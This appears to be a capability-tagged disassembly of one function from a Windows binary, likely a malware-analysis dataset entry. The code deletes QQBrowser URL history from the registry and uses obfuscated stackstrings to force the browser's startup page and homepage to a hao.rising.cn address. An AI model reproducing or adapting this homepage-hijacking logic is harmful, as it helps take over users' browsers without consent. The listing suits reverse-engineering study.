Function at 0x403900
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Set registry value

Disassembly:
sub esp, 8
push ebx
mov ebx, eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0
test ebx, ebx
jne 0x4022d8
push 0x391
push 5
push 0x1000
push str._d._d._d
call fcn.004045f0
add esp, 0x10
pop ebx
add esp, 8
ret
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0xc]
call fcn.004020f0
add esp, 4
test eax, eax
jne 0x40230b
push 0x39b
push 5
push 0x1000
push str._d._d._d
call fcn.004045f0
add esp, 0x10
pop ebx
add esp, 8
ret
mov ecx, dword [esp + 4]
mov eax, ecx
shr eax, 0x10
cmp ax, 8
jne 0x402344
cmp cx, 2
jne 0x40236e
push 0x3a6
push 5
push 1
push str._d._d._d
call fcn.004045f0
add esp, 0x10
call fcn.00403890
pop ebx
add esp, 8
jmp 0x403900
cmp ax, 9
jne 0x40236e
test cx, cx
jne 0x40236e
push 0x3ae
push 5
push 1
push str._d._d._d
call fcn.004045f0
add esp, 0x10
pop ebx
add esp, 8
jmp 0x403cf0
push 0x3b5
push 5
push 1
push str._d._d._d
call fcn.004045f0
add esp, 0x10
pop ebx
add esp, 8
ret
sub esp, 0xa0
mov eax, dword [0x427074]
xor eax, esp
mov dword [esp + 0x9c], eax
push ebx
lea eax, [esp + 4]
push eax
push 0xf003f
xor ebx, ebx
push ebx
push str.SoftwareTencentQQBrowserUrlRecords
push SysReAllocStringLen
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
je 0x40394d
push eax
push str.Error__0x_08X_n
call fcn.0040b5e9
add esp, 8
jmp 0x403cb8
mov ecx, dword [esp + 4]
push ebx
push ecx
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
test eax, eax
jne 0x403cb8
mov al, 0x2f
mov cl, 0x68
mov byte [esp + 0x12], al
mov byte [esp + 0x14], al
mov dl, 0x6e
mov byte [esp + 0x30], al
mov byte [esp + 0x32], al
mov al, 0x51
mov byte [esp + 8], cl
mov byte [esp + 9], bl
mov byte [esp + 0xa], 0x74
mov byte [esp + 0xb], bl
mov byte [esp + 0xc], 0x74
mov byte [esp + 0xd], bl
mov byte [esp + 0xe], 0x70
mov byte [esp + 0xf], bl
mov byte [esp + 0x10], 0x3a
mov byte [esp + 0x11], bl
mov byte [esp + 0x13], bl
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], bl
mov byte [esp + 0x18], 0x61
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x6f
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0x69
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x73
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x67
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x2e
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x63
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], bl
mov byte [esp + 0x31], bl
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], 0x3f
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x62
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0x3d
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x38
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 0x5e
mov byte [esp + 0x41], 0x74
mov byte [esp + 0x42], 0x1f
mov byte [esp + 0x43], 0x66
mov byte [esp + 0x44], 0x89
mov byte [esp + 0x45], 0x5b
mov byte [esp + 0x46], cl
mov byte [esp + 0x47], al
mov byte [esp + 0x48], al
mov byte [esp + 0x49], 0x7f
mov byte [esp + 0x4a], 0x40
mov byte [esp + 0x4b], 0x57
mov byte [esp + 0x4c], 0xfc
mov byte [esp + 0x4d], 0x5b
mov byte [esp + 0x4e], 0x2a
mov byte [esp + 0x4f], 0x82
mov byte [esp + 0x50], 0xd
mov byte [esp + 0x51], 0xff
mov byte [esp + 0x52], 0x38
mov byte [esp + 0x53], 0x5e
mov byte [esp + 0x54], 0x28
push 0x98
mov byte [esp + 0x7c], dl
mov byte [esp + 0x84], dl
lea edx, [esp + 0xc]
push edx
push 3
push str.URLa04c4180402
mov byte [esp + 0x65], 0x75
mov byte [esp + 0x66], al
mov byte [esp + 0x67], 0x7f
mov byte [esp + 0x68], 0x40
mov byte [esp + 0x69], 0x57
mov byte [esp + 0x6a], 0x27
mov byte [esp + 0x6b], 0x59
mov byte [esp + 0x6c], cl
mov byte [esp + 0x6d], al
mov byte [esp + 0x6e], 0xc
mov byte [esp + 0x6f], 0xff
mov byte [esp + 0x70], 0xa
mov byte [esp + 0x71], 0x4e
mov byte [esp + 0x72], al
mov byte [esp + 0x73], 0x7f
mov byte [esp + 0x74], 0x31
mov byte [esp + 0x75], 0x5c
mov byte [esp + 0x76], 0xce
mov byte [esp + 0x77], 0x4e
mov byte [esp + 0x78], cl
mov byte [esp + 0x79], bl
mov byte [esp + 0x7a], 0x61
mov byte [esp + 0x7b], bl
mov byte [esp + 0x7c], 0x6f
mov byte [esp + 0x7d], bl
mov byte [esp + 0x7e], 0x2e
mov byte [esp + 0x7f], bl
mov byte [esp + 0x80], 0x72
mov byte [esp + 0x81], bl
mov byte [esp + 0x82], 0x69
mov byte [esp + 0x83], bl
mov byte [esp + 0x84], 0x73
mov byte [esp + 0x85], bl
mov byte [esp + 0x86], 0x69
mov byte [esp + 0x87], bl
mov byte [esp + 0x89], bl
mov byte [esp + 0x8a], 0x67
mov byte [esp + 0x8b], bl
mov byte [esp + 0x8c], 0x2e
mov byte [esp + 0x8d], bl
mov byte [esp + 0x8e], 0x63
mov byte [esp + 0x8f], bl
mov byte [esp + 0x91], bl
mov byte [esp + 0x92], bl
mov byte [esp + 0x93], 0x5f
mov byte [esp + 0x94], 0xcb
mov byte [esp + 0x95], 0x59
mov byte [esp + 0x96], bl
mov byte [esp + 0x97], bl
mov byte [esp + 0x98], bl
mov byte [esp + 0x99], bl
mov byte [esp + 0x9a], 0xc4
mov byte [esp + 0x9b], 4
mov byte [esp + 0x9c], 0xa
mov byte [esp + 0x9d], bl
mov byte [esp + 0x9e], bl
mov byte [esp + 0x9f], bl
mov byte [esp + 0xa0], bl
mov byte [esp + 0xa1], bl
mov byte [esp + 0xa2], bl
mov byte [esp + 0xa3], bl
mov byte [esp + 0xa4], bl
mov byte [esp + 0xa5], bl
mov byte [esp + 0xa6], 0x23
mov byte [esp + 0xa7], bl
mov byte [esp + 0xa8], bl
mov byte [esp + 0xa9], bl
mov byte [esp + 0xaa], bl
mov byte [esp + 0xab], bl
mov byte [esp + 0xac], 0x98
mov byte [esp + 0xad], bl
mov byte [esp + 0xae], bl
mov byte [esp + 0xaf], bl
push ebx
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov eax, dword [esp + 4]
cmp eax, ebx
pop ebx
je 0x403cc8
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x9c]
xor ecx, esp
mov eax, 1
call fcn.0040b1b0
add esp, 0xa0
ret
sub esp, 0x48
mov eax, dword [0x427074]
xor eax, esp
mov dword [esp + 0x44], eax
lea eax, [esp]
push eax
push 0xf003f
push 0
push str.SoftwareTencentQQBrowserCommon
push SysReAllocStringLen
mov dword [esp + 0x14], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x403d56
cmp eax, 2
jne 0x403dcd
push 0
lea ecx, [esp + 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareTencentQQBrowserCommon
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x403dcd
mov eax, dword [esp]
push esi
push edi
mov ecx, 0xd
mov esi, str.http:__hao.rising.cn___b8
lea edi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
push 4
lea edx, [esp + 0x10]
push edx
push 4
push str.OpenOnStartup
push 0
movsw word es:[edi], word [esi]
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueW]
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x28], 3
call esi
test eax, eax
jne 0x403dcb
mov edx, dword [esp + 8]
push 4
lea ecx, [esp + 0x14]
push ecx
push 4
push str.UseOnHomepage
push eax
push edx
call esi
test eax, eax
jne 0x403dcb
mov ecx, dword [esp + 8]
push 0x36
lea eax, [esp + 0x18]
push eax
push 1
push str.CustomURL
push 0
push ecx
call esi
pop edi
pop esi
mov eax, dword [esp]
test eax, eax
je 0x403ddb
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x44]
xor ecx, esp
mov eax, 1
call fcn.0040b1b0
add esp, 0x48
ret